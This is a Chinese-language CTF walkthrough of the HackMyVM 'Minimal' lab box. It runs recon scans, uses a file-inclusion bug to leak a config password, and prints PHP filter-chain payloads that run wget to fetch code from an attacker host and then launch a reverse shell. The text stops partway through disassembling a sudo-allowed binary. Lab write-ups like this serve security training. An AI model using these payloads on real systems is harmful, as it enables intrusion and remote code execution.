HackMyVM-Minimal


目录

信息收集

arp

nmap

nikto

whatweb

WEB

web信息收集

gobuster

文件包含漏洞

提权

web信息收集

main方法

question_1

question_2

question_3

prize.txt

软连接


信息收集

arp
┌──(root?0x00)-[~/HackMyVM]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:9d:6d:7b, IPv4: 192.168.9.183
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)192.168.9.205  08:00:27:5a:4c:d4  PCS Systemtechnik GmbH13 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.259 seconds (113.32 hosts/sec). 13 responded

nmap
端口扫描┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -p- 192.168.9.205 --min-rate 10000 -oA ports  
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-11 08:12 CST
Nmap scan report for 192.168.9.205
Host is up (0.0017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:5A:4C:D4 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 128.28 seconds
版本信息收集┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -sC -sV -O -A -p 22,80 192.168.9.205 --min-rate 10000        
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-11 08:15 CST
Nmap scan report for 192.168.9.205
Host is up (0.0020s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 d2:73:06:e2:e4:84:54:8c:42:0f:4e:81:7c:78:b9:c2 (ECDSA)
|_  256 75:a0:cf:35:61:a1:c8:77:cf:1a:cb:bc:6d:5b:49:75 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Minimal Shop
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
MAC Address: 08:00:27:5A:4C:D4 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   2.04 ms 192.168.9.205OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds

nikto
┌──(root㉿0x00)-[~/HackMyVM]
└─# nikto -h 192.168.9.205                 
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.9.205
+ Target Hostname:    192.168.9.205
+ Target Port:        80
+ Start Time:         2024-05-11 08:13:06 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.52 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /imgs/: Directory indexing found.
+ /imgs/: This might be interesting.
+ /styles/: Directory indexing found.
+ /login.php: Admin login page/section found.
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2024-05-11 08:15:31 (GMT8) (145 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

whatweb
┌──(root㉿0x00)-[~/HackMyVM]
└─# whatweb -v http://192.168.9.205                                   
WhatWeb report for http://192.168.9.205
Status    : 200 OK
Title     : Minimal Shop
IP        : 192.168.9.205
Country   : RESERVED, ZZSummary   : Apache[2.4.52], Cookies[PHPSESSID], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)]Detected Plugins:
[ Apache ]The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards. Version      : 2.4.52 (from HTTP Server Header)Google Dorks: (3)Website     : http://httpd.apache.org/[ Cookies ]Display the names of cookies in the HTTP headers. The values are not returned to save on space. String       : PHPSESSID[ HTTPServer ]HTTP server header string. This plugin also attempts to identify the operating system from the server header. OS           : Ubuntu LinuxString       : Apache/2.4.52 (Ubuntu) (from server string)HTTP Headers:HTTP/1.1 200 OKDate: Sat, 11 May 2024 00:13:36 GMTServer: Apache/2.4.52 (Ubuntu)Set-Cookie: PHPSESSID=4glm3feckavkrh5qajsa0regno; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 1209Connection: closeContent-Type: text/html; charset=UTF-8

WEB

web信息收集

主页是一个购物网站!

从源码中可以看到有一个登录后台的!我们随便注册一个用户,登陆即可!

可以加入购物车!加入几个!

点击 Buy items 尝试购买!

乱填的,点击 End purchase时发现只是把购物车清空而已!我们先尝试目录扫描吧!

gobuster
┌──(root?0x00)-[~/HackMyVM]
└─# gobuster dir -u http://192.168.9.205 -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.9.205
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 6297]
/login.php            (Status: 200) [Size: 1019]
/register.php         (Status: 200) [Size: 1097]
/admin.php            (Status: 302) [Size: 0] [--> login.php]
/buy.php              (Status: 200) [Size: 892]
/imgs                 (Status: 301) [Size: 313] [--> http://192.168.9.205/imgs/]
/logout.php           (Status: 302) [Size: 0] [--> /index.php]
/config.php           (Status: 200) [Size: 0]
/styles               (Status: 301) [Size: 315] [--> http://192.168.9.205/styles/]
/robots.txt           (Status: 200) [Size: 12]
/restricted.php       (Status: 302) [Size: 0] [--> ../index.php]

扫描出来的信息都是没啥用的信息!
没办法,重新找思路!大概找了几分钟,我发现了漏洞!一开始没注意到了!

文件包含漏洞

注意看此处的url!

可以确定了!文件包含漏洞!目录扫描中扫到了config.php,但是利用文件包含的时候加上php会报错,不加反而可以出来!
base64解码后的 config.php内容<?php
$servername = "localhost";
$username = "shop_admin";
$password = "Hey-Pls-Dont-Crack-This-Passwd";
$dbname = "shop";$conn = new mysqli($servername, $username, $password, $dbname);// Verificar la conexión
if ($conn->connect_error) {die("Error" . $conn->connect_error);
}// Configurar el juego de caracteres
$conn->set_charset("utf8");
?>
可以看到用户名和密码$username = "shop_admin";
$password = "Hey-Pls-Dont-Crack-This-Passwd";不过没啥用,ssh登录不上,网站后台也登陆不上!尝试读取别的文件!

# index.php<?phprequire_once "./config.php";session_start();// Get products
$query = $conn->prepare("SELECT * FROM products");
$query->execute();
$products = $query->get_result();$logged = false;if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {$logged = true;
}if ($_SERVER['REQUEST_METHOD'] === 'POST') {if(isset($_POST["product_id"])){$_SESSION['cart'][] = $_POST["product_id"];}
}
?><html lang="es"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="stylesheet" href="./styles/main.css"><title>Minimal Shop</title>
</head><body><header><div class="logo"><a href="./index.php"><h1>Minimal</h1></a></div></div><div class="boton-iniciar-sesion"><?phpif ($logged) {echo '<a href="shop_cart.php">My cart</a>';echo '<a href="logout.php">Sign out</a>';} else {echo '<a href="login.php">Log In</a>';}?></div></header><main><?phpwhile ($fila = mysqli_fetch_assoc($products)) {$id = $fila['id'];$name = $fila['name'];$price = $fila['price'];$description = $fila['description'];$author = $fila['author'];echo '<form action="index.php" method="post"><div class="contenedor-producto"><div class="imagen-producto"><img src="./imgs/' . $name . '.png" alt="Producto '.$id.'"></div><div class="informacion-producto"><h2>' . $name . '</h2><div class="descripcion"><p>Designer: ' . $author . '</p><p>' . $description . '</p><p>Price: $' . $price . '</p></div>';if ($logged) {if (in_array($id, $_SESSION['cart'])) {echo '<p class="buy logtobuy">Added to cart</p>';}echo '<button class="buy button" type="submit" value="'. $id .'" name="product_id" >Buy</button>';} else {echo '<p class="buy logtobuy">Log In to buy</p>';}echo '</div></div></form>';};?></main>
</body></html>
# admin.php<?php
require_once "./config.php";session_start();if ($_SESSION['username'] !== 'admin') {header('Location: login.php');exit;
}$logged = false;if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {$logged = true;
}if ($_SERVER['REQUEST_METHOD'] === 'POST') {$nombre = $_POST['nombre'];$autor = $_POST['autor'];$precio = $_POST['precio'];$descripcion = $_POST['descripcion'];if (isset($_FILES['imagen'])) {$imagen = $_FILES['imagen'];if ($imagen['error'] === UPLOAD_ERR_OK) {$ruta_destino = './imgs/' . basename($imagen['name']);if (move_uploaded_file($imagen['tmp_name'], $ruta_destino)) {$query = $conn->prepare("INSERT INTO products (name, author, price, description) VALUES (?, ?, ?, ?)");$query->bind_param("ssds", $nombre, $autor, $precio, $descripcion);// Ejecutar la consultaif ($query->execute()) {echo "Uploaded";} else {echo "Error";}} else {//"Error al subir la imagen.";echo "Error";}} else {echo "Error: " . $imagen['error'];}}
}?>
<!DOCTYPE html>
<html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="stylesheet" href="./styles/main.css"><link rel="stylesheet" href="./styles/admin.css"><title>Minimal Shop</title>
</head><body><header><div class="logo"><a href="./index.php"><h1>Minimal</h1></a></div></div><div class="boton-iniciar-sesion"><?phpif ($logged) {echo '<a href="logout.php">Cerrar Sesión</a>';echo '<a href="shop_cart.php">Mi Carrito</a>';} else {echo '<a href="login.php">Iniciar Sesión</a>';}?></div></header><h1>Admin Panel</h1><div class="container"><h1>Add new Product</h1><form action="admin.php" method="post" enctype="multipart/form-data"><label for="nombre">Name:</label><input type="text" name="nombre" id="nombre" required><label for="autor">Author:</label><input type="text" name="autor" id="autor" required><label for="precio">Price:</label><input type="number" name="precio" id="precio" required><label for="descripcion">Description:</label><textarea name="descripcion" id="descripcion" required></textarea><label for="imagen">Img:</label><input type="file" name="imagen" id="imagen" accept="image/*" required><input type="submit" value="Upload"></form></div></body></html>
 我参考了群主师傅的wp  https://www.bilibili.com/video/BV19m411d7kE/?vd_source=a883f5a7be6909eff14d565bc161efe8直接使用的脚本构造的payload!!

http://192.168.9.205/shop_cart.php?action=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&cmd=wget%20http://192.168.9.183:9898/cmd.php

http://192.168.9.205/shop_cart.php?action=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&cmd=php%20reverse.php
执行即可获取shell!


提权

web信息收集
从这开始,噩梦开始了!获取交互式shellexport TERM=xterm
python3 -c 'import pty;pty.spawn("/bin/bash")'


www-data@minimal:/home/white$ sudo -l
sudo -l
Matching Defaults entries for www-data on minimal:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,use_ptyUser www-data may run the following commands on minimal:(root) NOPASSWD: /opt/quiz/shop
www-data@minimal:/home/white$ 
www-data@minimal:/opt/quiz$ ls
ls
prize.txt  results.txt  shop
www-data@minimal:/opt/quiz$ cat prize.txt     
cat  prize.txt
cat: prize.txt: Permission denied
www-data@minimal:/opt/quiz$ cat results.txt
cat results.txt
User: 0xH3rshel
Points: 3

prize.txt 文件不能看!经过测试 shop 这个可执行程序存在溢出漏洞!我们把shop文件下载本地进行逆向分析!

main方法

amd x86-64架构!我们反编译一下!推荐使用ida,cutter等等,我这里使用的r2用习惯了!

可以看到程序中存在 question_1、question_2、question_3等自定义函数!
[0x00401150]> afl
0x004010c0    1     11 sym.imp.puts
0x004010d0    1     11 sym.imp.fclose
0x004010e0    1     11 sym.imp.strlen
0x004010f0    1     11 sym.imp.system
0x00401100    1     11 sym.imp.printf
0x00401110    1     11 sym.imp.fgets
0x00401120    1     11 sym.imp.strcmp
0x00401130    1     11 sym.imp.fprintf
0x00401140    1     11 sym.imp.fopen
0x00401150    1     37 entry0
0x00401190    4     31 sym.deregister_tm_clones
0x004011c0    4     49 sym.register_tm_clones
0x00401200    3     32 sym.__do_global_dtors_aux
0x00401230    1      6 sym.frame_dummy
0x00401750    1     13 sym._fini
0x00401274   10    301 sym.secret_q2
0x0040147e    7    198 sym.question_2
0x00401180    1      5 sym._dl_relocate_static_pie
0x004015d5    1     10 sym.wait_what
0x0040168f    5    193 main
0x004015e2    4    173 sym.writeResults
0x004013a1    4    100 sym.secret_q3
0x00401405    4    121 sym.question_1
0x00401544    4    145 sym.question_3
0x00401236    3     62 sym.print_prize
0x00401000    3     27 sym._init
[0x00401150]> 
[0x00401150]> s main
[0x0040168f]> s
0x40168f跳到main方法的主入口!
[0x0040168f]> pdf ; DATA XREF from entry0 @ 0x401168(r)
┌ 193: int main (int argc, char **argv);
│           ; arg int argc @ rdi
│           ; arg char **argv @ rsi
│           ; var char *s @ rbp-0x8
│           ; var char *var_10h @ rbp-0x10
│           ; var uint32_t var_14h @ rbp-0x14
│           ; var int64_t var_18h @ rbp-0x18
│           ; var int64_t var_20h @ rbp-0x20
│           ; var int64_t var_24h @ rbp-0x24
│           ; var char **var_30h @ rbp-0x30
│           0x0040168f      f30f1efa       endbr64
│           0x00401693      55             push rbp
│           0x00401694      4889e5         mov rbp, rsp
│           0x00401697      4883ec30       sub rsp, 0x30
│           0x0040169b      897ddc         mov dword [var_24h], edi    ; argc
│           0x0040169e      488975d0       mov qword [var_30h], rsi    ; argv
│           0x004016a2      48b8726573..   movabs rax, 0x2e73746c75736572 ; 'results.'
│           0x004016ac      488945e0       mov qword [var_20h], rax
│           0x004016b0      c745e87478..   mov dword [var_18h], 0x747874 ; 'txt'
│           0x004016b7      488d05320a..   lea rax, str.Hey_guys__I_have_prepared_this_little_program_to_find_out_how_much_you_know_about_me__since_I_have_been_your_administrator_for_2_years. ; 0x4020f0 ; "Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years."                                                                                                                                                                  
│           0x004016be      488945f8       mov qword [s], rax
│           0x004016c2      488d05af0a..   lea rax, str.If_you_get_all_the_questions_right__you_win_a_teddy_bear_and_if_you_dont__you_win_a_teddy_bear_and_if_you_dont__you_win_trash ; 0x402178 ; "If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash"            
│           0x004016c9      488945f0       mov qword [var_10h], rax
│           0x004016cd      488b45f8       mov rax, qword [s]
│           0x004016d1      4889c7         mov rdi, rax                ; const char *s
│           0x004016d4      e8e7f9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004016d9      488b45f0       mov rax, qword [var_10h]
│           0x004016dd      4889c7         mov rdi, rax                ; const char *s
│           0x004016e0      e8dbf9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004016e5      c745ec0000..   mov dword [var_14h], 0
│           0x004016ec      b800000000     mov eax, 0
│           0x004016f1      e80ffdffff     call sym.question_1
│           0x004016f6      0145ec         add dword [var_14h], eax
│           0x004016f9      b800000000     mov eax, 0
│           0x004016fe      e87bfdffff     call sym.question_2
│           0x00401703      0145ec         add dword [var_14h], eax
